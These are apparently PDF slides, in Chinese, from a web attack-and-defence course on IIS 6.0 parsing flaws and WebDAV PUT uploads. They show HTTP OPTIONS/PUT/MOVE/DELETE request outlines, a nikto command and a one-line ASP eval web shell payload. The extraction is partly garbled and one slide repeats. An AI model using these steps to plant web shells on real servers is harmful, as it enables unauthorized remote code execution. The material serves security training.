Web攻防视频教程第一节 中间件解析漏洞-IIS6.0-01.pdfVIP

Web攻防训练营

中间件解析漏洞-IIS6.0

课程内容

1.IIS6.0解析漏洞介绍3.IIS6.0PUT上传探测

2.IIS6.0PUT上传原理4.IIS6.0PUT上传利用

01

IIS6.0解析漏洞介绍

IIS6.0解析漏洞介绍

(1)当建立*.asa、*.asp格式的文件夹时，其目录下的任意文件都将被IIS当作asp文件解析。

%=NOW()%

(2)当文件*.asp;1.jpgIIS6.0同样会将文件作为asp文件解析。

微目前也没有推出补丁，不认为是一个漏洞。

下面在IIS6.0中演示这两个解析漏洞

02

IIS6.0PUT上传原理

IIS6.0PUT上传原理

WebDAV基于HTTP1.1协议的通信协议使得HTTP支持PUTMOVECOPYDELETE方法。

1、探测是否存在IISPUT漏洞：3、通过Move或Copy重名

OPTIONS/HTTP1.1COPY/a.txtHTTP1.1

Host:Host:

Destination:

2、上传txt文本文件/cmd.asp

PUT/a.txtHTTP1.1

Host：

Content-Length:304、删除

DELETE/a.txtHTTP1.1

%evalrequest(chopper)%Host:

03

IIS6.0PUT上传探测

IIS6.0PUT上传探测

利用nikto探测

-nikto-hIP地址

04

IIS6.0PUT上传利用

IIS6.0PUT上传利用

利用Burpsuite进行IISPUT漏洞利用。先OPTIONS探测、PUT、MOVE、DELETE

IIS6.0PUT上传利用

利用Burpsuite进行IISPUT漏洞利用。先OPTIONS探测、PUT、MOVE、DELETE

IIS6.0PUT上传利用

利用Burpsuite进行IISPUT漏洞利用。先OPTIONS探测、PUT、MOVE、DELETE

IIS6.0PUT上传利用

利用Burpsuite进行IISPUT漏洞利用。先OPTIONS探测、PUT、MOVE、DELETE

总结

1.IIS6.0解析漏洞介绍3.IIS6.0PUT上传探测

2.IIS6.0PUT上传原理4.IIS6.0PUT上传利用

再见

欢迎关注Web安全训练营课程